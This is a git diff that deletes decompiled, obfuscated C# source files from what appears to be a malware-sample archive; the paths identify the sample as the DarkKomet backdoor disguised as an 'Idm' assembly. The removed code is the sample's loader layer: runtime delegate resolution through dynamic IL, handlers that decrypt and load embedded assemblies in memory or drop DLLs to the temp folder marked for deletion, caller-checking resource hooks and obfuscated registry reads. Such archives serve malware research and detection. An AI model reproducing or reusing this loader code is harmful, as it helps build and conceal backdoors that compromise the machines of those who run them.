8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u0006\u0003([In] Type obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0004.cs deleted file mode 100644 index a89cec97..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0006\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007/_0006.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007/_0006.cs deleted file mode 100644 index bc4f97c7..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007/_0006.cs +++ /dev/null @@ -1,246 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0007; -using \u007F\u0004; -using System; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace \u0007 -{ - internal static class \u0006 - { - private static ModuleHandle \u0001; - private static char[] \u0002; - - public static void \u0003\u0002([In] int obj0) - { - Type typeFromHandle; - FieldInfo[] fields; - int index1; - FieldInfo fieldInfo; - string name; - bool flag; - int num1; - int index2; - char ch; - int index3; - MethodInfo methodFromHandle; - Delegate @delegate; - ParameterInfo[] parameters; - int length; - Type[] parameterTypes; - int index4; - DynamicMethod dynamicMethod; - ILGenerator ilGenerator; - int num2; - try - { - try - { - typeFromHandle = Type.GetTypeFromHandle(\u0006.\u0001.ResolveTypeHandle(33554433 + obj0)); - } - catch - { - return; - } - fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); - for (index1 = 0; index1 < fields.Length; ++index1) - { - fieldInfo = fields[index1]; - name = fieldInfo.Name; - flag = false; - num1 = 0; - for (index2 = name.Length - 1; index2 >= 0; --index2) - { - ch = name[index2]; - if (ch == '~') - { - flag = true; - break; - } - for (index3 = 0; index3 < 58; ++index3) - { - if ((int) \u0006.\u0002[index3] == (int) ch) - { - num1 = num1 * 58 + index3; - break; - } - } - } - try - { - methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0006.\u0001.ResolveMethodHandle(num1 + 167772161)); - } - catch - { - continue; - } - if (methodFromHandle.IsStatic) - { - try - { - @delegate = Delegate.CreateDelegate(fieldInfo.FieldType, methodFromHandle); - } - catch (Exception ex) - { - continue; - } - } - else - { - parameters = methodFromHandle.GetParameters(); - length = parameters.Length + 1; - parameterTypes = new Type[length]; - parameterTypes[0] = typeof (object); - for (index4 = 1; index4 < length; ++index4) - parameterTypes[index4] = parameters[index4 - 1].ParameterType; - dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true); - ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - if (length > 1) - ilGenerator.Emit(OpCodes.Ldarg_1); - if (length > 2) - ilGenerator.Emit(OpCodes.Ldarg_2); - if (length > 3) - ilGenerator.Emit(OpCodes.Ldarg_3); - if (length > 4) - { - for (num2 = 4; num2 < length; ++num2) - ilGenerator.Emit(OpCodes.Ldarg_S, num2); - } - ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle); - ilGenerator.Emit(OpCodes.Ret); - try - { - @delegate = dynamicMethod.CreateDelegate(typeFromHandle); - } - catch - { - continue; - } - } - try - { - fieldInfo.SetValue((object) null, (object) @delegate); - } - catch - { - } - } - } - catch (Exception ex) - { - object[] objArray = new object[20] - { - (object) typeFromHandle, - (object) fieldInfo, - (object) name, - (object) flag, - (object) num1, - (object) index2, - (object) ch, - (object) index3, - (object) methodFromHandle, - (object) @delegate, - (object) parameters, - (object) length, - (object) parameterTypes, - (object) index4, - (object) dynamicMethod, - (object) ilGenerator, - (object) num2, - (object) fields, - (object) index1, - (object) obj0 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - static \u0006() - { - Type type1; - try - { - \u0006.\u0002 = new char[58] - { - '\u0001', - '\u0002', - '\u0003', - '\u0004', - '\u0005', - '\u0006', - '\a', - '\b', - '\u000E', - '\u000F', - '\u0010', - '\u0011', - '\u0012', - '\u0013', - '\u0014', - '\u0015', - '\u0016', - '\u0017', - '\u0018', - '\u0019', - '\u001A', - '\u001B', - '\u001C', - '\u001D', - '\u001E', - '\u001F', - '\u007F', - '\u0080', - '\u0081', - '\u0082', - '\u0083', - '\u0084', - '\u0086', - '\u0087', - '\u0088', - '\u0089', - '\u008A', - '\u008B', - '\u008C', - '\u008D', - '\u008E', - '\u008F', - '\u0090', - '\u0091', - '\u0092', - '\u0093', - '\u0094', - '\u0095', - '\u0096', - '\u0097', - '\u0098', - '\u0099', - '\u009A', - '\u009B', - '\u009C', - '\u009D', - '\u009E', - '\u009F' - }; - type1 = typeof (MulticastDelegate); - if ((object) type1 == null) - return; - \u0006.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle; - } - catch (Exception ex) - { - Type type2 = type1; - \u0089\u0004.\u0018\u0005(ex, (object) type2); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0003.cs deleted file mode 100644 index 4627dea5..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate object \u0007\u0003([In] Type obj0, [In] bool obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0004.cs deleted file mode 100644 index 1de563d4..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0007_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using Microsoft.Win32; -using System.Runtime.InteropServices; - -internal delegate RegistryKey \u0007\u0004([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0006_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0006_0002.cs deleted file mode 100644 index f506a754..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0006_0002.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u0008; -using Microsoft.Win32; - -namespace \u0008 -{ - internal class \u0006\u0002 - { - public static string \u0006\u0002() - { - string str1; - try - { - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(\u001E\u0004.\u0006\u0002()); - if (true) - goto label_9; -label_1: - if (false) - goto label_4; - else - goto label_13; -label_2: - RegistryKey registryKey2 = \u0007\u0004.\u007E\u0099\u0005((object) Registry.LocalMachine, \u001E\u0004.\u001E\u0004()); - RegistryKey registryKey3; - if (true) - registryKey3 = registryKey2; -label_3: - if (registryKey3 != null) - { - string str2 = (string) \u0008\u0004.\u007E\u009A\u0005((object) registryKey3, \u0002.\u0002\u0002(114), (object) null); - if (true) - goto label_12; -label_8: - \u001A\u0002.\u007E\u0098\u0005((object) registryKey3); - string str3; - str1 = str3; - goto label_15; -label_12: - str3 = str2; - goto label_8; - } -label_4: - if (true) - goto label_11; -label_5: - if (true) - { - if (false) - goto label_2; - else - goto label_15; - } - else - goto label_1; -label_11: - str1 = (string) null; - goto label_5; -label_13: - if (registryKey3 != null) - goto label_3; - else - goto label_2; -label_9: - registryKey3 = registryKey1; - goto label_1; - } - catch - { - str1 = (string) null; - } -label_15: - return str1; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0008.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0008.cs deleted file mode 100644 index 25c069f6..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_0008.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using System; -using System.Runtime.CompilerServices; - -namespace \u0008 -{ - internal sealed class \u0008 - { - [SpecialName] - public static string \u0006\u0002() => \u0008.\u0008.\u001E\u0004() + \u0002.\u0002\u0002(75) + (object) \u0008.\u0008.\u0006\u0002(); - - [SpecialName] - public static int \u0006\u0002() - { - Version version1 = new Version(\u0002.\u0002\u0002(80)); - Version version2; - if (true) - version2 = version1; - return version2.Major; - } - - [SpecialName] - public static string \u001E\u0004() => \u0002.\u0002\u0002(93); - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00082.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00082.cs deleted file mode 100644 index cdfd143e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00082.cs +++ /dev/null @@ -1,330 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .2 -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0008; -using \u0012; -using \u007F\u0004; -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; - -namespace \u0008 -{ - internal class \u00082 - { - private static Hashtable \u0001; - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0006\u0002([In] string obj0, [In] string obj1, [In] int obj2); - - internal static void \u0006\u0002() - { - try - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u00082.\u0006\u0002); - } - catch - { - } - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - internal static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1) - { - \u00082.\u0008 obj; - string s; - string base64String; - char[] chArray; - string[] strArray; - string str1; - bool flag1; - bool flag2; - int index1; - int index2; - int num; - string str2; - Hashtable hashtable; - Assembly assembly1; - Stream manifestResourceStream; - int length; - byte[] numArray; - Assembly assembly2; - string path1; - string path2; - FileStream fileStream; - try - { - obj = new \u00082.\u0008(obj1.Name); - s = obj.\u0006\u0002(false); - base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - chArray = new char[1]{ ',' }; - strArray = "ezE0ZWUxOWU0LTIxOTMtNDNhNC1hNWJiLTg0MDA4Nzc4ZWE1Zn0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{14ee19e4-2193-43a4-a5bb-84008778ea5f},ezNiNWIwMjY2LTcwMDUtNDU5MC04NTI5LTk4MjdmZjUxZWZiMX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3b5b0266-7005-4590-8529-9827ff51efb1}".Split(chArray); - str1 = string.Empty; - flag1 = false; - flag2 = false; - for (index1 = 0; index1 < strArray.Length - 1; index1 += 2) - { - if (strArray[index1] == base64String) - { - str1 = strArray[index1 + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (index2 = 0; index2 < strArray.Length - 1; index2 += 2) - { - if (strArray[index2] == base64String) - { - str1 = strArray[index2 + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - num = str1.IndexOf(']'); - str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - Monitor.Enter((object) (hashtable = \u00082.\u0001)); - try - { - if (\u00082.\u0001.ContainsKey((object) str1)) - { - assembly1 = (Assembly) \u00082.\u0001[(object) str1]; - } - else - { - manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - length = (int) manifestResourceStream.Length; - numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0014.\u0010\u0002(numArray); - assembly2 = (Assembly) null; - if (!flag2) - { - try - { - assembly2 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag2 = true; - } - catch (BadImageFormatException ex) - { - flag2 = true; - } - } - if (flag2) - { - try - { - path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u00082.\u0006\u0002(path2, (string) null, 4); - \u00082.\u0006\u0002(path1, (string) null, 4); - } - assembly2 = Assembly.LoadFile(path2); - } - catch - { - } - } - \u00082.\u0001[(object) str1] = (object) assembly2; - assembly1 = assembly2; - } - else - goto label_31; - } - } - finally - { - Monitor.Exit((object) hashtable); - } - return assembly1; - } -label_31: - return (Assembly) null; - } - catch (Exception ex) - { - object[] objArray = new object[23] - { - (object) obj, - (object) s, - (object) base64String, - (object) strArray, - (object) str1, - (object) flag1, - (object) flag2, - (object) index1, - (object) index2, - (object) num, - (object) str2, - (object) manifestResourceStream, - (object) length, - (object) numArray, - (object) assembly2, - (object) path1, - (object) path2, - (object) fileStream, - (object) assembly1, - (object) chArray, - (object) hashtable, - obj0, - (object) obj1 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public \u00082() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - static \u00082() - { - try - { - \u00082.\u0001 = new Hashtable(); - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - internal struct \u0008 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0006\u0002([In] bool obj0) - { - StringBuilder stringBuilder1; - try - { - stringBuilder1 = new StringBuilder(); - stringBuilder1.Append(this.\u0001); - if (obj0 && this.\u0002 != (Version) null) - { - stringBuilder1.Append(", Version="); - stringBuilder1.Append((object) this.\u0002); - } - stringBuilder1.Append(", Culture="); - stringBuilder1.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder1.Append(", PublicKeyToken="); - stringBuilder1.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder1.ToString(); - } - catch (Exception ex) - { - StringBuilder stringBuilder2 = stringBuilder1; - // ISSUE: variable of a boxed type - __Boxed<\u00082.\u0008> local1 = (ValueType) this; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) stringBuilder2, (object) local1, (object) local2); - throw; - } - } - - public \u0008([In] string obj0) - { - char[] chArray1; - string[] strArray1; - int index; - string str1; - string str2; - try - { - this.\u0002 = (Version) null; - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str3 = obj0; - chArray1 = new char[1]{ ',' }; - char[] chArray2 = chArray1; - strArray1 = str3.Split(chArray2); - for (index = 0; index < strArray1.Length; ++index) - { - str1 = strArray1[index]; - str2 = str1.Trim(); - if (str2.StartsWith("Version=")) - this.\u0002 = new Version(str2.Substring(8)); - else if (str2.StartsWith("Culture=")) - { - this.\u0003 = str2.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str2.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str2.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str2; - } - } - catch (Exception ex) - { - string str4 = str1; - string str5 = str2; - char[] chArray3 = chArray1; - string[] strArray2 = strArray1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed<\u00082.\u0008> local2 = (ValueType) this; - string str6 = obj0; - \u0089\u0004.\u001E\u0005(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6); - throw; - } - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00083.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00083.cs deleted file mode 100644 index 468d4e41..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00083.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .3 -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0008; -using \u007F\u0004; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0008 -{ - internal class \u00083 - { - private static Assembly \u0001; - private static string[] \u0002; - - internal static void \u0006\u0002() - { - try - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00083.\u0006\u0002); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - private static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1) - { - string[] strArray1; - string name; - int index; - try - { - if ((object) \u00083.\u0001 == null) - { - Monitor.Enter((object) (strArray1 = \u00083.\u0002)); - try - { - \u00083.\u0001 = Assembly.Load("{3b5b0266-7005-4590-8529-9827ff51efb1}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u00083.\u0001 != null) - \u00083.\u0002 = \u00083.\u0001.GetManifestResourceNames(); - } - finally - { - Monitor.Exit((object) strArray1); - } - } - name = obj1.Name; - for (index = 0; index < \u00083.\u0002.Length; ++index) - { - if (\u00083.\u0002[index] == name) - return !\u00083.\u0006\u0002() ? (Assembly) null : \u00083.\u0001; - } - return (Assembly) null; - } - catch (Exception ex) - { - string str = name; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) index; - string[] strArray2 = strArray1; - object obj = obj0; - ResolveEventArgs resolveEventArgs = obj1; - \u0089\u0004.\u001C\u0005(ex, (object) str, (object) local, (object) strArray2, obj, (object) resolveEventArgs); - throw; - } - } - - private static bool \u0006\u0002() - { - int index; - StackFrame[] frames; - StackFrame stackFrame1; - try - { - bool flag; - try - { - frames = new StackTrace().GetFrames(); - for (index = 2; index < frames.Length; ++index) - { - stackFrame1 = frames[index]; - if ((object) stackFrame1.GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly()) - { - flag = true; - goto label_7; - } - } - flag = false; - } - catch - { - flag = true; - } -label_7: - return flag; - } - catch (Exception ex) - { - StackFrame[] stackFrameArray = frames; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) index; - StackFrame stackFrame2 = stackFrame1; - bool flag; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) flag; - \u0089\u0004.\u001B\u0005(ex, (object) stackFrameArray, (object) local1, (object) stackFrame2, (object) local2); - throw; - } - } - - public \u00083() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - static \u00083() - { - try - { - \u00083.\u0001 = (Assembly) null; - \u00083.\u0002 = new string[0]; - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00084.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00084.cs deleted file mode 100644 index 4991e0b4..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_00084.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .4 -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0008; -using System.Runtime.InteropServices; - -namespace \u0008 -{ - internal sealed class \u00084 - { - internal static \u00084.\u0008 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0008 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_001E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_001E_0004.cs deleted file mode 100644 index cfa7fe6e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008/_001E_0004.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using System.Runtime.CompilerServices; - -namespace \u0008 -{ - internal sealed class \u001E\u0004 - { - [SpecialName] - public static string \u0006\u0002() => \u0002.\u0002\u0002(123) + \u0008.\u0008.\u0006\u0002(); - - [SpecialName] - public static string \u001E\u0004() => \u0002.\u0002\u0002(148) + \u0008.\u0008.\u0006\u0002(); - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0003.cs deleted file mode 100644 index ebcabdac..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0008\u0003([In] object obj0, [In] ResolveEventHandler obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0004.cs deleted file mode 100644 index 76cbb786..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0008_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: 